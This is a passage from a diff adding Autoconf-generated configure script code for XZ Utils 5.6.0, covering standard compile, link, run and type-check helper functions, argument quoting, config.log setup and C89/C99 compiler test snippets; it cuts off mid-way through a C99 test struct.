-s conftest$ac_exeext && { + test "$cross_compiling" = yes || + test -x conftest$ac_exeext + } +then : + ac_retval=0 +else case e in #( + e) printf "%s\n" "$as_me: failed program was:" >&5 +sed 's/^/| /' conftest.$ac_ext >&5 + + ac_retval=1 ;; +esac +fi + # Delete the IPA/IPO (Inter Procedural Analysis/Optimization) information + # created by the PGI compiler (conftest_ipa8_conftest.oo), as it would + # interfere with the next link command; also delete a directory that is + # left behind by Apple's compiler. We do this before executing the actions. + rm -rf conftest.dSYM conftest_ipa8_conftest.oo + eval $as_lineno_stack; ${as_lineno_stack:+:} unset as_lineno + as_fn_set_status $ac_retval + +} # ac_fn_c_try_link + +# ac_fn_c_try_cpp LINENO +# ---------------------- +# Try to preprocess conftest.$ac_ext, and return whether this succeeded. +ac_fn_c_try_cpp () +{ + as_lineno=${as_lineno-"$1"} as_lineno_stack=as_lineno_stack=$as_lineno_stack + if { { ac_try="$ac_cpp conftest.$ac_ext" +case "(($ac_try" in + *\"* | *\`* | *\\*) ac_try_echo=\$ac_try;; + *) ac_try_echo=$ac_try;; +esac +eval ac_try_echo="\"\$as_me:${as_lineno-$LINENO}: $ac_try_echo\"" +printf "%s\n" "$ac_try_echo"; } >&5 + (eval "$ac_cpp conftest.$ac_ext") 2>conftest.err + ac_status=$? + if test -s conftest.err; then + grep -v '^ *+' conftest.err >conftest.er1 + cat conftest.er1 >&5 + mv -f conftest.er1 conftest.err + fi + printf "%s\n" "$as_me:${as_lineno-$LINENO}: \$? = $ac_status" >&5 + test $ac_status = 0; } > conftest.i && { + test -z "$ac_c_preproc_warn_flag$ac_c_werror_flag" || + test ! -s conftest.err + } +then : + ac_retval=0 +else case e in #( + e) printf "%s\n" "$as_me: failed program was:" >&5 +sed 's/^/| /' conftest.$ac_ext >&5 + + ac_retval=1 ;; +esac +fi + eval $as_lineno_stack; ${as_lineno_stack:+:} unset as_lineno + as_fn_set_status $ac_retval + +} # ac_fn_c_try_cpp + +# ac_fn_c_check_func LINENO FUNC VAR +# ---------------------------------- +# Tests whether FUNC exists, setting the cache variable VAR accordingly +ac_fn_c_check_func () +{ + as_lineno=${as_lineno-"$1"} as_lineno_stack=as_lineno_stack=$as_lineno_stack + { printf "%s\n" "$as_me:${as_lineno-$LINENO}: checking for $2" >&5 +printf %s "checking for $2... " >&6; } +if eval test \${$3+y} +then : + printf %s "(cached) " >&6 +else case e in #( + e) cat confdefs.h - <<_ACEOF >conftest.$ac_ext +/* end confdefs.h. */ +/* Define $2 to an innocuous variant, in case declares $2. + For example, HP-UX 11i declares gettimeofday. */ +#define $2 innocuous_$2 + +/* System header to define __stub macros and hopefully few prototypes, + which can conflict with char $2 (void); below. */ + +#include +#undef $2 + +/* Override any GCC internal prototype to avoid an error. + Use char because int might match the return type of a GCC + builtin and then its argument prototype would still apply. */ +#ifdef __cplusplus +extern "C" +#endif +char $2 (void); +/* The GNU C library defines this for functions which it implements + to always fail with ENOSYS. Some functions are actually named + something starting with __ and the normal name is an alias. */ +#if defined __stub_$2 || defined __stub___$2 +choke me +#endif + +int +main (void) +{ +return $2 (); + ; + return 0; +} +_ACEOF +if ac_fn_c_try_link "$LINENO" +then : + eval "$3=yes" +else case e in #( + e) eval "$3=no" ;; +esac +fi +rm -f core conftest.err conftest.$ac_objext conftest.beam \ + conftest$ac_exeext conftest.$ac_ext ;; +esac +fi +eval ac_res=\$$3 + { printf "%s\n" "$as_me:${as_lineno-$LINENO}: result: $ac_res" >&5 +printf "%s\n" "$ac_res" >&6; } + eval $as_lineno_stack; ${as_lineno_stack:+:} unset as_lineno + +} # ac_fn_c_check_func + +# ac_fn_c_try_run LINENO +# ---------------------- +# Try to run conftest.$ac_ext, and return whether this succeeded. Assumes that +# executables *can* be run. +ac_fn_c_try_run () +{ + as_lineno=${as_lineno-"$1"} as_lineno_stack=as_lineno_stack=$as_lineno_stack + if { { ac_try="$ac_link" +case "(($ac_try" in + *\"* | *\`* | *\\*) ac_try_echo=\$ac_try;; + *) ac_try_echo=$ac_try;; +esac +eval ac_try_echo="\"\$as_me:${as_lineno-$LINENO}: $ac_try_echo\"" +printf "%s\n" "$ac_try_echo"; } >&5 + (eval "$ac_link") 2>&5 + ac_status=$? + printf "%s\n" "$as_me:${as_lineno-$LINENO}: \$? = $ac_status" >&5 + test $ac_status = 0; } && { ac_try='./conftest$ac_exeext' + { { case "(($ac_try" in + *\"* | *\`* | *\\*) ac_try_echo=\$ac_try;; + *) ac_try_echo=$ac_try;; +esac +eval ac_try_echo="\"\$as_me:${as_lineno-$LINENO}: $ac_try_echo\"" +printf "%s\n" "$ac_try_echo"; } >&5 + (eval "$ac_try") 2>&5 + ac_status=$? + printf "%s\n" "$as_me:${as_lineno-$LINENO}: \$? = $ac_status" >&5 + test $ac_status = 0; }; } +then : + ac_retval=0 +else case e in #( + e) printf "%s\n" "$as_me: program exited with status $ac_status" >&5 + printf "%s\n" "$as_me: failed program was:" >&5 +sed 's/^/| /' conftest.$ac_ext >&5 + + ac_retval=$ac_status ;; +esac +fi + rm -rf conftest.dSYM conftest_ipa8_conftest.oo + eval $as_lineno_stack; ${as_lineno_stack:+:} unset as_lineno + as_fn_set_status $ac_retval + +} # ac_fn_c_try_run + +# ac_fn_c_check_type LINENO TYPE VAR INCLUDES +# ------------------------------------------- +# Tests whether TYPE exists after having included INCLUDES, setting cache +# variable VAR accordingly. +ac_fn_c_check_type () +{ + as_lineno=${as_lineno-"$1"} as_lineno_stack=as_lineno_stack=$as_lineno_stack + { printf "%s\n" "$as_me:${as_lineno-$LINENO}: checking for $2" >&5 +printf %s "checking for $2... " >&6; } +if eval test \${$3+y} +then : + printf %s "(cached) " >&6 +else case e in #( + e) eval "$3=no" + cat confdefs.h - <<_ACEOF >conftest.$ac_ext +/* end confdefs.h. */ +$4 +int +main (void) +{ +if (sizeof ($2)) + return 0; + ; + return 0; +} +_ACEOF +if ac_fn_c_try_compile "$LINENO" +then : + cat confdefs.h - <<_ACEOF >conftest.$ac_ext +/* end confdefs.h. */ +$4 +int +main (void) +{ +if (sizeof (($2))) + return 0; + ; + return 0; +} +_ACEOF +if ac_fn_c_try_compile "$LINENO" +then : + +else case e in #( + e) eval "$3=yes" ;; +esac +fi +rm -f core conftest.err conftest.$ac_objext conftest.beam conftest.$ac_ext +fi +rm -f core conftest.err conftest.$ac_objext conftest.beam conftest.$ac_ext ;; +esac +fi +eval ac_res=\$$3 + { printf "%s\n" "$as_me:${as_lineno-$LINENO}: result: $ac_res" >&5 +printf "%s\n" "$ac_res" >&6; } + eval $as_lineno_stack; ${as_lineno_stack:+:} unset as_lineno + +} # ac_fn_c_check_type + +# ac_fn_c_find_uintX_t LINENO BITS VAR +# ------------------------------------ +# Finds an unsigned integer type with width BITS, setting cache variable VAR +# accordingly. +ac_fn_c_find_uintX_t () +{ + as_lineno=${as_lineno-"$1"} as_lineno_stack=as_lineno_stack=$as_lineno_stack + { printf "%s\n" "$as_me:${as_lineno-$LINENO}: checking for uint$2_t" >&5 +printf %s "checking for uint$2_t... " >&6; } +if eval test \${$3+y} +then : + printf %s "(cached) " >&6 +else case e in #( + e) eval "$3=no" + # Order is important - never check a type that is potentially smaller + # than half of the expected target width. + for ac_type in uint$2_t 'unsigned int' 'unsigned long int' \ + 'unsigned long long int' 'unsigned short int' 'unsigned char'; do + cat confdefs.h - <<_ACEOF >conftest.$ac_ext +/* end confdefs.h. */ +$ac_includes_default +int +main (void) +{ +static int test_array [1 - 2 * !((($ac_type) -1 >> ($2 / 2 - 1)) >> ($2 / 2 - 1) == 3)]; +test_array [0] = 0; +return test_array [0]; + + ; + return 0; +} +_ACEOF +if ac_fn_c_try_compile "$LINENO" +then : + case $ac_type in #( + uint$2_t) : + eval "$3=yes" ;; #( + *) : + eval "$3=\$ac_type" ;; +esac +fi +rm -f core conftest.err conftest.$ac_objext conftest.beam conftest.$ac_ext + if eval test \"x\$"$3"\" = x"no" +then : + +else case e in #( + e) break ;; +esac +fi + done ;; +esac +fi +eval ac_res=\$$3 + { printf "%s\n" "$as_me:${as_lineno-$LINENO}: result: $ac_res" >&5 +printf "%s\n" "$ac_res" >&6; } + eval $as_lineno_stack; ${as_lineno_stack:+:} unset as_lineno + +} # ac_fn_c_find_uintX_t + +# ac_fn_c_find_intX_t LINENO BITS VAR +# ----------------------------------- +# Finds a signed integer type with width BITS, setting cache variable VAR +# accordingly. +ac_fn_c_find_intX_t () +{ + as_lineno=${as_lineno-"$1"} as_lineno_stack=as_lineno_stack=$as_lineno_stack + { printf "%s\n" "$as_me:${as_lineno-$LINENO}: checking for int$2_t" >&5 +printf %s "checking for int$2_t... " >&6; } +if eval test \${$3+y} +then : + printf %s "(cached) " >&6 +else case e in #( + e) eval "$3=no" + # Order is important - never check a type that is potentially smaller + # than half of the expected target width. + for ac_type in int$2_t 'int' 'long int' \ + 'long long int' 'short int' 'signed char'; do + cat confdefs.h - <<_ACEOF >conftest.$ac_ext +/* end confdefs.h. */ +$ac_includes_default + enum { N = $2 / 2 - 1 }; +int +main (void) +{ +static int test_array [1 - 2 * !(0 < ($ac_type) ((((($ac_type) 1 << N) << N) - 1) * 2 + 1))]; +test_array [0] = 0; +return test_array [0]; + + ; + return 0; +} +_ACEOF +if ac_fn_c_try_compile "$LINENO" +then : + cat confdefs.h - <<_ACEOF >conftest.$ac_ext +/* end confdefs.h. */ +$ac_includes_default + enum { N = $2 / 2 - 1 }; +int +main (void) +{ +static int test_array [1 - 2 * !(($ac_type) ((((($ac_type) 1 << N) << N) - 1) * 2 + 1) + < ($ac_type) ((((($ac_type) 1 << N) << N) - 1) * 2 + 2))]; +test_array [0] = 0; +return test_array [0]; + + ; + return 0; +} +_ACEOF +if ac_fn_c_try_compile "$LINENO" +then : + +else case e in #( + e) case $ac_type in #( + int$2_t) : + eval "$3=yes" ;; #( + *) : + eval "$3=\$ac_type" ;; +esac ;; +esac +fi +rm -f core conftest.err conftest.$ac_objext conftest.beam conftest.$ac_ext +fi +rm -f core conftest.err conftest.$ac_objext conftest.beam conftest.$ac_ext + if eval test \"x\$"$3"\" = x"no" +then : + +else case e in #( + e) break ;; +esac +fi + done ;; +esac +fi +eval ac_res=\$$3 + { printf "%s\n" "$as_me:${as_lineno-$LINENO}: result: $ac_res" >&5 +printf "%s\n" "$ac_res" >&6; } + eval $as_lineno_stack; ${as_lineno_stack:+:} unset as_lineno + +} # ac_fn_c_find_intX_t + +# ac_fn_c_compute_int LINENO EXPR VAR INCLUDES +# -------------------------------------------- +# Tries to find the compile-time value of EXPR in a program that includes +# INCLUDES, setting VAR accordingly. Returns whether the value could be +# computed +ac_fn_c_compute_int () +{ + as_lineno=${as_lineno-"$1"} as_lineno_stack=as_lineno_stack=$as_lineno_stack + if test "$cross_compiling" = yes; then + # Depending upon the size, compute the lo and hi bounds. +cat confdefs.h - <<_ACEOF >conftest.$ac_ext +/* end confdefs.h. */ +$4 +int +main (void) +{ +static int test_array [1 - 2 * !(($2) >= 0)]; +test_array [0] = 0; +return test_array [0]; + + ; + return 0; +} +_ACEOF +if ac_fn_c_try_compile "$LINENO" +then : + ac_lo=0 ac_mid=0 + while :; do + cat confdefs.h - <<_ACEOF >conftest.$ac_ext +/* end confdefs.h. */ +$4 +int +main (void) +{ +static int test_array [1 - 2 * !(($2) <= $ac_mid)]; +test_array [0] = 0; +return test_array [0]; + + ; + return 0; +} +_ACEOF +if ac_fn_c_try_compile "$LINENO" +then : + ac_hi=$ac_mid; break +else case e in #( + e) as_fn_arith $ac_mid + 1 && ac_lo=$as_val + if test $ac_lo -le $ac_mid; then + ac_lo= ac_hi= + break + fi + as_fn_arith 2 '*' $ac_mid + 1 && ac_mid=$as_val ;; +esac +fi +rm -f core conftest.err conftest.$ac_objext conftest.beam conftest.$ac_ext + done +else case e in #( + e) cat confdefs.h - <<_ACEOF >conftest.$ac_ext +/* end confdefs.h. */ +$4 +int +main (void) +{ +static int test_array [1 - 2 * !(($2) < 0)]; +test_array [0] = 0; +return test_array [0]; + + ; + return 0; +} +_ACEOF +if ac_fn_c_try_compile "$LINENO" +then : + ac_hi=-1 ac_mid=-1 + while :; do + cat confdefs.h - <<_ACEOF >conftest.$ac_ext +/* end confdefs.h. */ +$4 +int +main (void) +{ +static int test_array [1 - 2 * !(($2) >= $ac_mid)]; +test_array [0] = 0; +return test_array [0]; + + ; + return 0; +} +_ACEOF +if ac_fn_c_try_compile "$LINENO" +then : + ac_lo=$ac_mid; break +else case e in #( + e) as_fn_arith '(' $ac_mid ')' - 1 && ac_hi=$as_val + if test $ac_mid -le $ac_hi; then + ac_lo= ac_hi= + break + fi + as_fn_arith 2 '*' $ac_mid && ac_mid=$as_val ;; +esac +fi +rm -f core conftest.err conftest.$ac_objext conftest.beam conftest.$ac_ext + done +else case e in #( + e) ac_lo= ac_hi= ;; +esac +fi +rm -f core conftest.err conftest.$ac_objext conftest.beam conftest.$ac_ext ;; +esac +fi +rm -f core conftest.err conftest.$ac_objext conftest.beam conftest.$ac_ext +# Binary search between lo and hi bounds. +while test "x$ac_lo" != "x$ac_hi"; do + as_fn_arith '(' $ac_hi - $ac_lo ')' / 2 + $ac_lo && ac_mid=$as_val + cat confdefs.h - <<_ACEOF >conftest.$ac_ext +/* end confdefs.h. */ +$4 +int +main (void) +{ +static int test_array [1 - 2 * !(($2) <= $ac_mid)]; +test_array [0] = 0; +return test_array [0]; + + ; + return 0; +} +_ACEOF +if ac_fn_c_try_compile "$LINENO" +then : + ac_hi=$ac_mid +else case e in #( + e) as_fn_arith '(' $ac_mid ')' + 1 && ac_lo=$as_val ;; +esac +fi +rm -f core conftest.err conftest.$ac_objext conftest.beam conftest.$ac_ext +done +case $ac_lo in #(( +?*) eval "$3=\$ac_lo"; ac_retval=0 ;; +'') ac_retval=1 ;; +esac + else + cat confdefs.h - <<_ACEOF >conftest.$ac_ext +/* end confdefs.h. */ +$4 +static long int longval (void) { return $2; } +static unsigned long int ulongval (void) { return $2; } +#include +#include +int +main (void) +{ + + FILE *f = fopen ("conftest.val", "w"); + if (! f) + return 1; + if (($2) < 0) + { + long int i = longval (); + if (i != ($2)) + return 1; + fprintf (f, "%ld", i); + } + else + { + unsigned long int i = ulongval (); + if (i != ($2)) + return 1; + fprintf (f, "%lu", i); + } + /* Do not output a trailing newline, as this causes \r\n confusion + on some platforms. */ + return ferror (f) || fclose (f) != 0; + + ; + return 0; +} +_ACEOF +if ac_fn_c_try_run "$LINENO" +then : + echo >>conftest.val; read $3 &5 +printf %s "checking for $2.$3... " >&6; } +if eval test \${$4+y} +then : + printf %s "(cached) " >&6 +else case e in #( + e) cat confdefs.h - <<_ACEOF >conftest.$ac_ext +/* end confdefs.h. */ +$5 +int +main (void) +{ +static $2 ac_aggr; +if (ac_aggr.$3) +return 0; + ; + return 0; +} +_ACEOF +if ac_fn_c_try_compile "$LINENO" +then : + eval "$4=yes" +else case e in #( + e) cat confdefs.h - <<_ACEOF >conftest.$ac_ext +/* end confdefs.h. */ +$5 +int +main (void) +{ +static $2 ac_aggr; +if (sizeof ac_aggr.$3) +return 0; + ; + return 0; +} +_ACEOF +if ac_fn_c_try_compile "$LINENO" +then : + eval "$4=yes" +else case e in #( + e) eval "$4=no" ;; +esac +fi +rm -f core conftest.err conftest.$ac_objext conftest.beam conftest.$ac_ext ;; +esac +fi +rm -f core conftest.err conftest.$ac_objext conftest.beam conftest.$ac_ext ;; +esac +fi +eval ac_res=\$$4 + { printf "%s\n" "$as_me:${as_lineno-$LINENO}: result: $ac_res" >&5 +printf "%s\n" "$ac_res" >&6; } + eval $as_lineno_stack; ${as_lineno_stack:+:} unset as_lineno + +} # ac_fn_c_check_member + +# ac_fn_check_decl LINENO SYMBOL VAR INCLUDES EXTRA-OPTIONS FLAG-VAR +# ------------------------------------------------------------------ +# Tests whether SYMBOL is declared in INCLUDES, setting cache variable VAR +# accordingly. Pass EXTRA-OPTIONS to the compiler, using FLAG-VAR. +ac_fn_check_decl () +{ + as_lineno=${as_lineno-"$1"} as_lineno_stack=as_lineno_stack=$as_lineno_stack + as_decl_name=`echo $2|sed 's/ *(.*//'` + { printf "%s\n" "$as_me:${as_lineno-$LINENO}: checking whether $as_decl_name is declared" >&5 +printf %s "checking whether $as_decl_name is declared... " >&6; } +if eval test \${$3+y} +then : + printf %s "(cached) " >&6 +else case e in #( + e) as_decl_use=`echo $2|sed -e 's/(/((/' -e 's/)/) 0&/' -e 's/,/) 0& (/g'` + eval ac_save_FLAGS=\$$6 + as_fn_append $6 " $5" + cat confdefs.h - <<_ACEOF >conftest.$ac_ext +/* end confdefs.h. */ +$4 +int +main (void) +{ +#ifndef $as_decl_name +#ifdef __cplusplus + (void) $as_decl_use; +#else + (void) $as_decl_name; +#endif +#endif + + ; + return 0; +} +_ACEOF +if ac_fn_c_try_compile "$LINENO" +then : + eval "$3=yes" +else case e in #( + e) eval "$3=no" ;; +esac +fi +rm -f core conftest.err conftest.$ac_objext conftest.beam conftest.$ac_ext + eval $6=\$ac_save_FLAGS + ;; +esac +fi +eval ac_res=\$$3 + { printf "%s\n" "$as_me:${as_lineno-$LINENO}: result: $ac_res" >&5 +printf "%s\n" "$ac_res" >&6; } + eval $as_lineno_stack; ${as_lineno_stack:+:} unset as_lineno + +} # ac_fn_check_decl +ac_configure_args_raw= +for ac_arg +do + case $ac_arg in + *\'*) + ac_arg=`printf "%s\n" "$ac_arg" | sed "s/'/'\\\\\\\\''/g"` ;; + esac + as_fn_append ac_configure_args_raw " '$ac_arg'" +done + +case $ac_configure_args_raw in + *$as_nl*) + ac_safe_unquote= ;; + *) + ac_unsafe_z='|&;<>()$`\\"*?[ '' ' # This string ends in space, tab. + ac_unsafe_a="$ac_unsafe_z#~" + ac_safe_unquote="s/ '\\([^$ac_unsafe_a][^$ac_unsafe_z]*\\)'/ \\1/g" + ac_configure_args_raw=` printf "%s\n" "$ac_configure_args_raw" | sed "$ac_safe_unquote"`;; +esac + +cat >config.log <<_ACEOF +This file contains any messages produced by compilers while +running configure, to aid debugging if configure makes a mistake. + +It was created by XZ Utils $as_me 5.6.0, which was +generated by GNU Autoconf 2.72. Invocation command line was + + $ $0$ac_configure_args_raw + +_ACEOF +exec 5>>config.log +{ +cat <<_ASUNAME +## --------- ## +## Platform. ## +## --------- ## + +hostname = `(hostname || uname -n) 2>/dev/null | sed 1q` +uname -m = `(uname -m) 2>/dev/null || echo unknown` +uname -r = `(uname -r) 2>/dev/null || echo unknown` +uname -s = `(uname -s) 2>/dev/null || echo unknown` +uname -v = `(uname -v) 2>/dev/null || echo unknown` + +/usr/bin/uname -p = `(/usr/bin/uname -p) 2>/dev/null || echo unknown` +/bin/uname -X = `(/bin/uname -X) 2>/dev/null || echo unknown` + +/bin/arch = `(/bin/arch) 2>/dev/null || echo unknown` +/usr/bin/arch -k = `(/usr/bin/arch -k) 2>/dev/null || echo unknown` +/usr/convex/getsysinfo = `(/usr/convex/getsysinfo) 2>/dev/null || echo unknown` +/usr/bin/hostinfo = `(/usr/bin/hostinfo) 2>/dev/null || echo unknown` +/bin/machine = `(/bin/machine) 2>/dev/null || echo unknown` +/usr/bin/oslevel = `(/usr/bin/oslevel) 2>/dev/null || echo unknown` +/bin/universe = `(/bin/universe) 2>/dev/null || echo unknown` + +_ASUNAME + +as_save_IFS=$IFS; IFS=$PATH_SEPARATOR +for as_dir in $PATH +do + IFS=$as_save_IFS + case $as_dir in #((( + '') as_dir=./ ;; + */) ;; + *) as_dir=$as_dir/ ;; + esac + printf "%s\n" "PATH: $as_dir" + done +IFS=$as_save_IFS + +} >&5 + +cat >&5 <<_ACEOF + + +## ----------- ## +## Core tests. ## +## ----------- ## + +_ACEOF + + +# Keep a trace of the command line. +# Strip out --no-create and --no-recursion so they do not pile up. +# Strip out --silent because we don't want to record it for future runs. +# Also quote any args containing shell meta-characters. +# Make two passes to allow for proper duplicate-argument suppression. +ac_configure_args= +ac_configure_args0= +ac_configure_args1= +ac_must_keep_next=false +for ac_pass in 1 2 +do + for ac_arg + do + case $ac_arg in + -no-create | --no-c* | -n | -no-recursion | --no-r*) continue ;; + -q | -quiet | --quiet | --quie | --qui | --qu | --q \ + | -silent | --silent | --silen | --sile | --sil) + continue ;; + *\'*) + ac_arg=`printf "%s\n" "$ac_arg" | sed "s/'/'\\\\\\\\''/g"` ;; + esac + case $ac_pass in + 1) as_fn_append ac_configure_args0 " '$ac_arg'" ;; + 2) + as_fn_append ac_configure_args1 " '$ac_arg'" + if test $ac_must_keep_next = true; then + ac_must_keep_next=false # Got value, back to normal. + else + case $ac_arg in + *=* | --config-cache | -C | -disable-* | --disable-* \ + | -enable-* | --enable-* | -gas | --g* | -nfp | --nf* \ + | -q | -quiet | --q* | -silent | --sil* | -v | -verb* \ + | -with-* | --with-* | -without-* | --without-* | --x) + case "$ac_configure_args0 " in + "$ac_configure_args1"*" '$ac_arg' "* ) continue ;; + esac + ;; + -* ) ac_must_keep_next=true ;; + esac + fi + as_fn_append ac_configure_args " '$ac_arg'" + ;; + esac + done +done +{ ac_configure_args0=; unset ac_configure_args0;} +{ ac_configure_args1=; unset ac_configure_args1;} + +# When interrupted or exit'd, cleanup temporary files, and complete +# config.log. We remove comments because anyway the quotes in there +# would cause problems or look ugly. +# WARNING: Use '\'' to represent an apostrophe within the trap. +# WARNING: Do not start the trap code with a newline, due to a FreeBSD 4.0 bug. +trap 'exit_status=$? + # Sanitize IFS. + IFS=" "" $as_nl" + # Save into config.log some information that might help in debugging. + { + echo + + printf "%s\n" "## ---------------- ## +## Cache variables. ## +## ---------------- ##" + echo + # The following way of writing the cache mishandles newlines in values, +( + for ac_var in `(set) 2>&1 | sed -n '\''s/^\([a-zA-Z_][a-zA-Z0-9_]*\)=.*/\1/p'\''`; do + eval ac_val=\$$ac_var + case $ac_val in #( + *${as_nl}*) + case $ac_var in #( + *_cv_*) { printf "%s\n" "$as_me:${as_lineno-$LINENO}: WARNING: cache variable $ac_var contains a newline" >&5 +printf "%s\n" "$as_me: WARNING: cache variable $ac_var contains a newline" >&2;} ;; + esac + case $ac_var in #( + _ | IFS | as_nl) ;; #( + BASH_ARGV | BASH_SOURCE) eval $ac_var= ;; #( + *) { eval $ac_var=; unset $ac_var;} ;; + esac ;; + esac + done + (set) 2>&1 | + case $as_nl`(ac_space='\'' '\''; set) 2>&1` in #( + *${as_nl}ac_space=\ *) + sed -n \ + "s/'\''/'\''\\\\'\'''\''/g; + s/^\\([_$as_cr_alnum]*_cv_[_$as_cr_alnum]*\\)=\\(.*\\)/\\1='\''\\2'\''/p" + ;; #( + *) + sed -n "/^[_$as_cr_alnum]*_cv_[_$as_cr_alnum]*=/p" + ;; + esac | + sort +) + echo + + printf "%s\n" "## ----------------- ## +## Output variables. ## +## ----------------- ##" + echo + for ac_var in $ac_subst_vars + do + eval ac_val=\$$ac_var + case $ac_val in + *\'\''*) ac_val=`printf "%s\n" "$ac_val" | sed "s/'\''/'\''\\\\\\\\'\'''\''/g"`;; + esac + printf "%s\n" "$ac_var='\''$ac_val'\''" + done | sort + echo + + if test -n "$ac_subst_files"; then + printf "%s\n" "## ------------------- ## +## File substitutions. ## +## ------------------- ##" + echo + for ac_var in $ac_subst_files + do + eval ac_val=\$$ac_var + case $ac_val in + *\'\''*) ac_val=`printf "%s\n" "$ac_val" | sed "s/'\''/'\''\\\\\\\\'\'''\''/g"`;; + esac + printf "%s\n" "$ac_var='\''$ac_val'\''" + done | sort + echo + fi + + if test -s confdefs.h; then + printf "%s\n" "## ----------- ## +## confdefs.h. ## +## ----------- ##" + echo + cat confdefs.h + echo + fi + test "$ac_signal" != 0 && + printf "%s\n" "$as_me: caught signal $ac_signal" + printf "%s\n" "$as_me: exit $exit_status" + } >&5 + rm -f core *.core core.conftest.* && + rm -f -r conftest* confdefs* conf$$* $ac_clean_files && + exit $exit_status +' 0 +for ac_signal in 1 2 13 15; do + trap 'ac_signal='$ac_signal'; as_fn_exit 1' $ac_signal +done +ac_signal=0 + +# confdefs.h avoids OS command line length limits that DEFS can exceed. +rm -f -r conftest* confdefs.h + +printf "%s\n" "/* confdefs.h */" > confdefs.h + +# Predefined preprocessor variables. + +printf "%s\n" "#define PACKAGE_NAME \"$PACKAGE_NAME\"" >>confdefs.h + +printf "%s\n" "#define PACKAGE_TARNAME \"$PACKAGE_TARNAME\"" >>confdefs.h + +printf "%s\n" "#define PACKAGE_VERSION \"$PACKAGE_VERSION\"" >>confdefs.h + +printf "%s\n" "#define PACKAGE_STRING \"$PACKAGE_STRING\"" >>confdefs.h + +printf "%s\n" "#define PACKAGE_BUGREPORT \"$PACKAGE_BUGREPORT\"" >>confdefs.h + +printf "%s\n" "#define PACKAGE_URL \"$PACKAGE_URL\"" >>confdefs.h + + +# Let the site file select an alternate cache file if it wants to. +# Prefer an explicitly selected file to automatically selected ones. +if test -n "$CONFIG_SITE"; then + ac_site_files="$CONFIG_SITE" +elif test "x$prefix" != xNONE; then + ac_site_files="$prefix/share/config.site $prefix/etc/config.site" +else + ac_site_files="$ac_default_prefix/share/config.site $ac_default_prefix/etc/config.site" +fi + +for ac_site_file in $ac_site_files +do + case $ac_site_file in #( + */*) : + ;; #( + *) : + ac_site_file=./$ac_site_file ;; +esac + if test -f "$ac_site_file" && test -r "$ac_site_file"; then + { printf "%s\n" "$as_me:${as_lineno-$LINENO}: loading site script $ac_site_file" >&5 +printf "%s\n" "$as_me: loading site script $ac_site_file" >&6;} + sed 's/^/| /' "$ac_site_file" >&5 + . "$ac_site_file" \ + || { { printf "%s\n" "$as_me:${as_lineno-$LINENO}: error: in '$ac_pwd':" >&5 +printf "%s\n" "$as_me: error: in '$ac_pwd':" >&2;} +as_fn_error $? "failed to load site script $ac_site_file +See 'config.log' for more details" "$LINENO" 5; } + fi +done + +if test -r "$cache_file"; then + # Some versions of bash will fail to source /dev/null (special files + # actually), so we avoid doing that. DJGPP emulates it as a regular file. + if test /dev/null != "$cache_file" && test -f "$cache_file"; then + { printf "%s\n" "$as_me:${as_lineno-$LINENO}: loading cache $cache_file" >&5 +printf "%s\n" "$as_me: loading cache $cache_file" >&6;} + case $cache_file in + [\\/]* | ?:[\\/]* ) . "$cache_file";; + *) . "./$cache_file";; + esac + fi +else + { printf "%s\n" "$as_me:${as_lineno-$LINENO}: creating cache $cache_file" >&5 +printf "%s\n" "$as_me: creating cache $cache_file" >&6;} + >$cache_file +fi + +# Test code for whether the C compiler supports C89 (global declarations) +ac_c_conftest_c89_globals=' +/* Does the compiler advertise C89 conformance? + Do not test the value of __STDC__, because some compilers set it to 0 + while being otherwise adequately conformant. */ +#if !defined __STDC__ +# error "Compiler does not advertise C89 conformance" +#endif + +#include +#include +struct stat; +/* Most of the following tests are stolen from RCS 5.7 src/conf.sh. */ +struct buf { int x; }; +struct buf * (*rcsopen) (struct buf *, struct stat *, int); +static char *e (char **p, int i) +{ + return p[i]; +} +static char *f (char * (*g) (char **, int), char **p, ...) +{ + char *s; + va_list v; + va_start (v,p); + s = g (p, va_arg (v,int)); + va_end (v); + return s; +} + +/* C89 style stringification. */ +#define noexpand_stringify(a) #a +const char *stringified = noexpand_stringify(arbitrary+token=sequence); + +/* C89 style token pasting. Exercises some of the corner cases that + e.g. old MSVC gets wrong, but not very hard. */ +#define noexpand_concat(a,b) a##b +#define expand_concat(a,b) noexpand_concat(a,b) +extern int vA; +extern int vbee; +#define aye A +#define bee B +int *pvA = &expand_concat(v,aye); +int *pvbee = &noexpand_concat(v,bee); + +/* OSF 4.0 Compaq cc is some sort of almost-ANSI by default. It has + function prototypes and stuff, but not \xHH hex character constants. + These do not provoke an error unfortunately, instead are silently treated + as an "x". The following induces an error, until -std is added to get + proper ANSI mode. Curiously \x00 != x always comes out true, for an + array size at least. It is necessary to write \x00 == 0 to get something + that is true only with -std. */ +int osf4_cc_array ['\''\x00'\'' == 0 ? 1 : -1]; + +/* IBM C 6 for AIX is almost-ANSI by default, but it replaces macro parameters + inside strings and character constants. */ +#define FOO(x) '\''x'\'' +int xlc6_cc_array[FOO(a) == '\''x'\'' ? 1 : -1]; + +int test (int i, double x); +struct s1 {int (*f) (int a);}; +struct s2 {int (*f) (double a);}; +int pairnames (int, char **, int *(*)(struct buf *, struct stat *, int), + int, int);' + +# Test code for whether the C compiler supports C89 (body of main). +ac_c_conftest_c89_main=' +ok |= (argc == 0 || f (e, argv, 0) != argv[0] || f (e, argv, 1) != argv[1]); +' + +# Test code for whether the C compiler supports C99 (global declarations) +ac_c_conftest_c99_globals=' +/* Does the compiler advertise C99 conformance? */ +#if !defined __STDC_VERSION__ || __STDC_VERSION__ < 199901L +# error "Compiler does not advertise C99 conformance" +#endif + +// See if C++-style comments work. + +#include +extern int puts (const char *); +extern int printf (const char *, ...); +extern int dprintf (int, const char *, ...); +extern void *malloc (size_t); +extern void free (void *); + +// Check varargs macros. These examples are taken from C99 6.10.3.5. +// dprintf is used instead of fprintf to avoid needing to declare +// FILE and stderr. +#define debug(...) dprintf (2, __VA_ARGS__) +#define showlist(...) puts (#__VA_ARGS__) +#define report(test,...) ((test) ? puts (#test) : printf (__VA_ARGS__)) +static void +test_varargs_macros (void) +{ + int x = 1234; + int y = 5678; + debug ("Flag"); + debug ("X = %d\n", x); + showlist (The first, second, and third items.); + report (x>y, "x is %d but y is %d", x, y); +} + +// Check long long types. +#define BIG64 18446744073709551615ull +#define BIG32 4294967295ul +#define BIG_OK (BIG64 / BIG32 == 4294967297ull && BIG64 % BIG32 == 0) +#if !BIG_OK + #error "your preprocessor is broken" +#endif +#if BIG_OK +#else + #error "your preprocessor is broken" +#endif +static long long int bignum = -9223372036854775807LL; +static unsigned long long int ubignum = BIG64; + +struct incomplete_array +{ + int datasize; + double data[]; +}; + +struct named_init { + int number; + const wchar_t *name; + 